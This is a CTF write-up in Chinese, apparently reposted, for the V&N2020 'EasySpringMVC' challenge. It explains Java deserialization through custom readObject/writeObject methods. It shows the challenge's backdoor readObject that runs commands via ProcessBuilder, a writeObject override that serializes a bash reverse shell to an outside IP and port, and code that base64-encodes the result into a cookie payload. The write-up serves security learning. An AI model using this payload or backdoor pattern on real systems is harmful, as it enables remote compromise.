刷題記錄:[V&N2020 公開賽]EasySpringMVC


題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:2020 年 V&N 內部考核賽 WriteUp
從一道題入門JAVA反序列化漏洞
V&N公開賽2020 writeup

Java反序列化

深入了解序列化writeObject、readObject、readResolve

總結一下,如果目標類中沒有定義私有的writeObject或readObject方法,那么序列化和反序列化的時候將調用默認的方法來根據目標類中的屬性來進行序列化和反序列化,而如果目標類中定義了私有的writeObject或readObject方法,那么序列化和反序列化的時候將調用目標類指定的writeObject或readObject方法來實現。

這里的Tools類中有readObject

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])((String[])obj))).start();
}

其實這就是一個后門。我們可以重寫Tools類中writeObject來生成payload

private void writeObject(ObjectOutputStream out) throws IOException{
    out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}

用Main生成payload

public class Main {
    public static void main(String[] args) {
        Tools tools = new Tools();
        Base64.Encoder e = Base64.getEncoder();
        byte[] var20 = new byte[0];
        try {
            var20 = Tools.create(tools);
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        String cookie = e.encodeToString(var20);
        System.out.println(cookie);
    }
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM